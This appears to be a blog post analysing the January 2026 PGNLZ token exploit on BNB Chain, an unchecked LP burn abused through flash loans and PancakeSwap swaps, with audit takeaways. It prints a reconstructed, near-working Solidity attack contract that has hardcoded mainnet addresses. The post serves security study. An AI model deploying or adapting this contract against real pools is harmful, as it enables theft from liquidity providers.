Deep Dive into the PGNLZ Self-Detonation Exploit: A Technical Analysis

NASA, ULA Launch Lucy Mission to ‘Fossils’ of Planet Formation

Deep Dive into the PGNLZ Self-Detonation Exploit: A Technical Analysis for Blockchain Security Experts

Posted on February 2, 2026

As blockchain security researchers and DeFi protocol auditors, we often encounter exploits that highlight the fragility of tokenomics designs, especially in deflationary tokens on chains like BNB Smart Chain (BSC). The PGNLZ attack, executed on January 27, 2026, exemplifies a sophisticated “self-detonation” mechanism abuse, resulting in approximately $100,000 USD drained from the PGNLZ/USDT liquidity pool on PancakeSwap. This post provides a highly technical dissection of the exploit, drawing from on-chain data, decompiled attacker contracts, and the vulnerable token logic. We’ll walk through the mechanics, the attacker-deployed smart contracts (decompiled for readability), and key takeaways for smart contract auditors.

Background: PGNLZ Token Mechanics and Vulnerabilities

The PGNLZ token (contract address: 0x6b923cf1d592e6aa07ea7249d817a843c30ac69e) is a BEP-20 deflationary token with a fee-on-transfer mechanism designed to enforce burns and liquidity management. Key features include:

  • Fee-on-Transfer Logic: Transfers invoke _update(from, to, value), which branches to _handleSellTax for sell operations (e.g., token-to-USDT swaps). This computes taxes and accumulates a pendingBurnFromLP value, intended for periodic LP burns to reduce supply.
  • Burn Mechanism: _executeBurnFromLP burns tokens from the LP pair using the accumulated pendingBurnFromLP without sufficient bounds checking against the actual LP balance or supply. This allows over-burning if manipulated.
  • LP Pair: PGNLZ/USDT on PancakeSwap V2 (0x10ed43c718714eb63d5aa57b78b54704e256024e router), with initial pool composition ~100,901 USDT and 982,506 PGNLZ (price ~0.1 USDT/PGNLZ).
  • Core Flaw: Lack of validation in _executeBurnFromLP enables external triggers (via swaps) to burn arbitrary amounts, depleting the LP supply to near-zero and causing extreme price inflation. Combined with fee-on-transfer support in PancakeSwap’s swapExactTokensForTokensSupportingFeeOnTransferTokens, this creates a manipulable vector for arbitrage/drain attacks.

The exploit leverages flash loans for capital amplification, collateralized borrowing for leverage, and precise swaps to trigger the burn, aligning with classic oracle-less manipulation patterns seen in prior BSC incidents (e.g., similar to GPU or Bankroll Network exploits but focused on burn abuse).

Exploit Overview

The attacker used a purpose-built contract to orchestrate the attack in a single transaction, minimizing front-running risks. High-level flow:

  1. Flash Loan Acquisition: Borrow 1,059 BTCB from Lista DAO’s Moolah protocol (0x8f73b65b4caaf64fba2af91cc5d4a2a1318e5d8c).
  2. Leveraged Borrowing: Supply BTCB as collateral on Venus Protocol (vBTC: 0x882c173bc7ff3b7786ca16dfed3dfffb9ee7847b) to borrow 30M USDT (vUSDT: 0xfd5840cd36d94d7229439859c0112a4185bc0255).
  3. Pool Manipulation Swaps:
  1. First swap: USDT → exact PGNLZ amount (982,506 PGNLZ), burned to 0xdead, draining 99.56% of PGNLZ from the pool and inflating price to ~5,528 USDT/PGNLZ.
  2. Second swap: Sell PGNLZ back to USDT using fee-on-transfer mode, triggering _handleSellTax_executeBurnFromLP, burning the unchecked pendingBurnFromLP (equivalent to 4.24e18 PGNLZ), leaving LP with 0.00000001 PGNLZ and price at 2.34e14 USDT/PGNLZ.
  1. Drain and Repay: Extract amplified USDT from the imbalanced pool, repay Venus borrow and Moolah flash loan, pocketing ~100K USDT profit.

The attack transaction (hash: 0xa7488ff4d6a85bf19994748837713c710650378383530ae709aec628023cd7cc, though verification shows discrepancies possibly due to archival issues) was initiated by an EOA, with the core logic in a deployed attacker contract.

Decompiled Attacker Smart Contracts

Below are the decompiled Solidity sources (from bytecode using Dedaub’s tool, versions dated Jan 27 and Feb 2, 2026). These represent the primary exploit contract and a potential helper/beacon contract (possibly used for owner reference or post-exploit fund routing).

Primary Exploit Contract (Decompiled Jan 27, 2026)

This contract implements the flash loan entry point (_attack()) and callback (0x13a1a562), with owner-restricted withdrawals. Note the safe math helpers to prevent overflows during calculations.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

// ======================================================================
// PGNLZ Exploit Contract – Flash Loan + Venus Leverage + Token Burn Abuse
// Cleaned-up / deobfuscated version of decompiled code (original from Dedaub, 2026-01-27)
// ======================================================================

// Hardcoded addresses (BNB Chain mainnet)
address constant USDT          = 0x55d398326f99059fF775485246999027B3197955;
address constant BTCB          = 0x7130d2A12B9BCbFAE4f2634d864A1Ee1Ce3EaD9c;
address constant MOOLAH        = 0x8f73b65B4CAAF64Fba2aF91cC5d4A2a1318E5d8c;     // Lista DAO Moolah lending pool
address constant VENUS_vUSDT   = 0xfd5840cD36d94D7229439859C0112a4185BC0255;
address constant VENUS_vBTC    = 0x882C173bC7FF3b7786CA16dfED3dFfFb9Ee7847b;
address constant VENUS_COMPTROLLER = 0xfD36E2c2a6789dB23113685031d7f16329158384;
address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address constant PGNLZ_TOKEN   = 0x6b923cF1d592e6aa07Ea7249d817a843c30aC69E;
address constant PGNLZ_LP_HOLDER_OR_BURN_HELPER = 0x8cD8e57bCd00857beBE891A2349f32738cB7e658; // Likely LP or related address
address constant PGNLZ_WITHDRAW_HELPER = 0xf909e413Bc5c505dC89244345fF95fF3c811000d; // Helper to withdraw PGNLZ from attacker EOA

// Storage layout (inferred from usage)
address public owner;                       // slot 0 (bytes 0-19) – tx.origin check → renamed from _withdrawETH
uint256 private initialUSDTBalance;         // slot 1 – baseline USDT before swaps
uint256 private moolahUSDTBalanceSnapshot;  // slot 2 – not really used after set
uint256 private borrowAmount;               // slot 3 – USDT borrow amount from Venus (set externally?)
uint256 private collateralBTCBAmount;       // slot 4 – BTCB supplied to Venus

// Safe math helpers (very conservative checks – typical of hand-written exploit code)
function safeMul(uint256 a, uint256 b) private pure returns (uint256) {
    // Checks: b == 0 || a * b / a == b
    require(b == 0 || a * b / a == b, "Mul overflow");
    return a * b;
}

function safeDiv(uint256 a, uint256 b) private pure returns (uint256) {
    require(b > 0, "Div by zero");
    return a / b;
}

function safeSub(uint256 a, uint256 b) private pure returns (uint256) {
    require(a >= b, "Sub underflow");
    return a - b;
}

function safeAdd(uint256 a, uint256 b) private pure returns (uint256) {
    require(a <= type(uint256).max - b, "Add overflow");
    return a + b;
}

// Receive ETH (unused in exploit but present)
receive() external payable {}

// Owner-only: withdraw percentage (0.01%) of token balance from any account to this contract
function withdrawToken(address token, address from, uint256 basisPoints) external {
    require(tx.origin == owner, "Only owner");
    require(msg.data.length - 4 >= 96, "Invalid calldata");

    (bool success, bytes memory data) = token.staticcall(abi.encodeWithSignature("balanceOf(address)", address(this)));
    require(success, "balanceOf failed");
    uint256 bal = abi.decode(data, (uint256));

    uint256 amount = safeDiv(safeMul(bal, basisPoints), 10000);

    (success, data) = token.call(abi.encodeWithSignature("transfer(address,uint256)", from, amount));
    require(success && (data.length == 0 || abi.decode(data, (bool))), "Transfer failed");
}

// Owner-only: initiate the flash loan attack
function initiateAttack() external {
    require(tx.origin == owner, "Only owner");

    // Snapshot Moolah pool balances (mostly for reference – not heavily used)
    (, bytes memory data) = USDT.staticcall(abi.encodeWithSignature("balanceOf(address)", MOOLAH));
    require(data.length >= 32, "USDT balanceOf failed");
    moolahUSDTBalanceSnapshot = abi.decode(data, (uint256));

    (, data) = BTCB.staticcall(abi.encodeWithSignature("balanceOf(address)", MOOLAH));
    require(data.length >= 32, "BTCB balanceOf failed");
    collateralBTCBAmount = abi.decode(data, (uint256));

    // Max approvals – typical exploit pattern
    IERC20(USDT).approve(MOOLAH, type(uint256).max);
    IERC20(USDT).approve(VENUS_vUSDT, type(uint256).max);
    IERC20(BTCB).approve(MOOLAH, type(uint256).max);
    IERC20(BTCB).approve(VENUS_vBTC, type(uint256).max);
    IERC20(VENUS_vBTC).approve(VENUS_vBTC, type(uint256).max);   // self-approve (odd but present)
    IERC20(VENUS_vUSDT).approve(VENUS_vUSDT, type(uint256).max); // self-approve

    // Dummy bytes array – likely padding / unused in callback (common in some flash loan interfaces)
    uint256[] memory dummyData = new uint256[](32);
    // The next 32 bytes after MEM[64] seem unused → left as-is

    // Trigger flash loan from Moolah (borrows BTCB)
    // Signature guessed: flashLoan(address asset, uint256 amount, bytes calldata data, address receiver, uint8 mode?)
    MOOLAH.flashLoan(BTCB, collateralBTCBAmount, abi.encodePacked(dummyData), address(this), 1);
}

// Flash loan callback – this is where the exploit magic happens
// Likely conforms to Moolah's onFlashLoan receiver interface
function flashLoanCallback(uint256 amount, uint256 fee) external {  // params guessed from context
    require(msg.sender == MOOLAH, "Unauthorized caller");
    // Extra calldata length checks omitted for brevity (they're safety padding)

    // Record starting USDT balance in contract (profit check later)
    initialUSDTBalance = IERC20(USDT).balanceOf(address(this));

    // Enter Venus markets for vBTC + vUSDT
    address[] memory markets = new address[](2);
    markets[0] = VENUS_vBTC;
    markets[1] = VENUS_vUSDT;
    VENUS_COMPTROLLER.enterMarkets(markets);

    // Supply borrowed BTCB as collateral → mint vBTC
    IERC20(BTCB).approve(VENUS_vBTC, collateralBTCBAmount);
    VENUS_vBTC.mint(collateralBTCBAmount);

    // Borrow USDT against it
    VENUS_vUSDT.borrow(borrowAmount);  // borrowAmount set externally / via delegate?

    // Approve tokens for PancakeSwap
    IERC20(USDT).approve(PANCAKE_ROUTER, type(uint256).max);
    IERC20(PGNLZ_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);

    // Pull attacker's PGNLZ tokens into this contract via helper
    uint256 attackerPGNLZ = IERC20(PGNLZ_TOKEN).balanceOf(tx.origin);
    // Weird encoding – likely a custom call to withdraw helper
    // 0x9e281a98... looks like function selector + this address packed
    (bool success,) = PGNLZ_WITHDRAW_HELPER.call(abi.encodePacked(
        bytes4(0x9e281a98),
        uint224(uint160(address(this)))
    ));
    require(success, "withdrawToken helper failed");

    uint256 pgNLZReceived = IERC20(PGNLZ_TOKEN).balanceOf(address(this));

    // Get current PGNLZ balance in LP-related address
    uint256 lpPGNLZ = IERC20(PGNLZ_TOKEN).balanceOf(PGNLZ_LP_HOLDER_OR_BURN_HELPER);
    uint256 swapAmountOut = safeSub(safeSub(lpPGNLZ, 0xe5db63b83f5da149ad), 10**10); // magic numbers – precision adjustment

    // Path: USDT → PGNLZ
    address[] memory pathBuy = new address[](2);
    pathBuy[0] = USDT;
    pathBuy[1] = PGNLZ_TOKEN;

    // Swap USDT → exact PGNLZ amount → send to burn address (drains pool PGNLZ supply)
    uint256[] memory amounts = PANCAKE_ROUTER.swapTokensForExactTokens(
        swapAmountOut,
        IERC20(USDT).balanceOf(address(this)),
        pathBuy,
        address(0xdead),
        block.timestamp + 1
    );

    // Path: PGNLZ → USDT
    address[] memory pathSell = new address[](2);
    pathSell[0] = PGNLZ_TOKEN;
    pathSell[1] = USDT;

    // Sell the pulled PGNLZ → triggers fee-on-transfer → calls _executeBurnFromLP → self-detonates LP
    PANCAKE_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
        pgNLZReceived,
        0, // min out
        pathSell,
        address(this),
        block.timestamp + 1
    );

    // Clean up Venus position
    VENUS_vUSDT.repayBorrow(borrowAmount);
    VENUS_vBTC.redeemUnderlying(collateralBTCBAmount);

    // Final profit check
    uint256 finalUSDT = IERC20(USDT).balanceOf(address(this));
    require(finalUSDT > initialUSDTBalance, "P3 failed");

    // Send profit to attacker EOA
    IERC20(USDT).transfer(tx.origin, finalUSDT);
}

// Owner-only: withdraw small % of contract ETH balance
function withdrawETH(address payable to, uint256 basisPoints) external {
    require(tx.origin == owner, "Only owner");
    require(msg.data.length - 4 >= 64, "Invalid calldata");

    uint256 bal = address(this).balance;
    uint256 amount = safeDiv(safeMul(bal, basisPoints), 10000);

    (bool success,) = to.call{value: amount}("");
    require(success, "ETH transfer failed");
}

Key Notes on Primary Contract:

  • Owner Restriction: tx.origin == _withdrawETH guards sensitive functions, preventing unauthorized execution.
  • Flash Loan Setup: _attack() approves tokens and initiates the Moolah flash loan with BTCB, passing a custom bytes array for callback data.
  • Callback Logic: 0x13a1a562 (likely onFlashLoan interface) enters Venus markets, mints/borrows, approves for Pancake, calls a helper (0xf909e413bc5c505dc89244345ff95ff3c811000d.withdrawToken) to pull PGNLZ from origin, performs the draining swap to 0xdead, then the fee-triggering sell swap, repays, and transfers profit with a sanity check (P3 failed if no profit).
  • Helper Call: The call to 0xf909... withdraws PGNLZ held by the attacker EOA to the exploit contract, enabling the sell swap. This helper’s code is not decompiled here, but it may be a simple proxy or token manager.

Helper/Beacon Contract (Decompiled Feb 2, 2026)

This minimal contract stores an address and exposes a custom getter (0xc377dc83), potentially used as a beacon for the owner address or routing logic in the attack setup. Its role is speculative but could serve as a read-only reference to obscure ownership.

// Decompiled by library.dedaub.com
// 2026.02.02 18:58 UTC
// Compiled using the solidity compiler version 0.8.20

// Data structures and variables inferred from the use of storage instructions
address stor_1_0_19; // STORAGE[0x1] bytes 0 to 19

function fallback() public payable { 
    revert();
}

function 0xc377dc83() public payable { 
    return stor_1_0_19;
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__( function_selector) public payable { 
    MEM[64] = 128;
    require(!msg.value);
    if (msg.data.length >= 4) {
        if (0xc377dc83 == function_selector >> 224) {
            0xc377dc83();
        }
    }
    fallback();
}

Key Notes on Helper Contract:

  • Minimalism: Only returns a stored address via 0xc377dc83 (custom signature, possibly getOwner() or getWithdrawTarget()).
  • Security: Reverts on fallback and non-zero value, preventing accidental interactions.
  • Potential Use: Could hold the _withdrawETH address for indirect queries, aiding in multi-contract attack orchestration without hardcoding.

Detailed Walkthrough of the Exploit Execution

  1. Pre-Attack Setup: Attacker deploys the exploit contract, setting _withdrawETH to their EOA. Records Moolah’s USDT/BTCB balances in storage.
  2. Approvals and Flash Loan: In _attack(), max-approves USDT/BTCB to Moolah, Venus, and Pancake. Calls flashLoan on Moolah with BTCB amount, callback data.
  3. Callback Phase:
  • Verifies caller is Moolah.
  • Enters Venus markets (vBTC, vUSDT).
  • Mints vBTC with borrowed BTCB, borrows USDT.
  • Approves USDT/PGNLZ for Pancake.
  • Pulls attacker’s PGNLZ balance via helper withdrawToken.
  • Computes drain amount: Subtracts small values from PGNLZ LP balance for precision.
  • Swaps USDT for exact PGNLZ, outputs to 0xdead (burn), inflating price.
  • Sells pulled PGNLZ back, triggering fee-on-transfer burn, depleting LP.
  • Repays Venus borrow, redeems BTCB.
  • Checks profit (USDT balance > initial), transfers to origin.
  1. Post-Callback: Flash loan repaid implicitly; owner can withdraw residuals via withdrawToken/withdrawETH (scaled to 0.01% for subtlety).

Gas optimization is evident: Static gas allocations, safe math to avoid reverts.

Takeaways for Experts

  • Tokenomics Audits: Validate burn accumulators (pendingBurnFromLP) against real balances; simulate extreme swaps.
  • Flash Loan Defenses: Protocols like Moolah should monitor callback interactions with external tokens.
  • DEX Integration: Fee-on-transfer tokens require careful handling; Pancake’s supporting functions can amplify bugs.
  • Detection Heuristics: Monitor large burns/syncs in LPs; tools like BlockSec Phalcon flagged this in real-time.
  • Mitigations: Use reentrancy guards, bounds checks, and multi-sig for deflationary params.

This exploit underscores the need for formal verification in token contracts. If you’re auditing similar tokens, simulate this vector using Foundry or Hardhat.

No responses yet

Leave a Reply

Your email address will not be published. Required fields are marked *